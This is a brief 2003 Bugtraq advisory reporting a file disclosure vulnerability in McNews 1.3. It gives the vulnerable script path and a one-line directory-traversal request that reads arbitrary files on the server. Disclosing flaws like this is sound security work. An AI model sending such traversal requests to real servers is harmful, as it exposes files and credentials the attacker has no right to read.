[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

McNews 1.3 : File Disclosure Vulnerability

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: McNews 1.3 : File Disclosure Vulnerability
From: Sebastien Lelarge <sebastien.lelarge@xxxxxxxxxxxxxxxx>
Date: 26 Sep 2003 08:40:05 -0000


The vulnerable script is <mcnews_root>/admin/header.php

Exploit it with : header.php?voir=1&skinfile=skin/../../../file/to/view

Prev by Date: RE: base64
Next by Date: DCE 1.2.2c Denial of Service Vulnerability on IRIX
Previous by thread: Tru64 and OpenVMS patch announcements change after next month
Next by thread: DCE 1.2.2c Denial of Service Vulnerability on IRIX
Index(es):
- Date
- Thread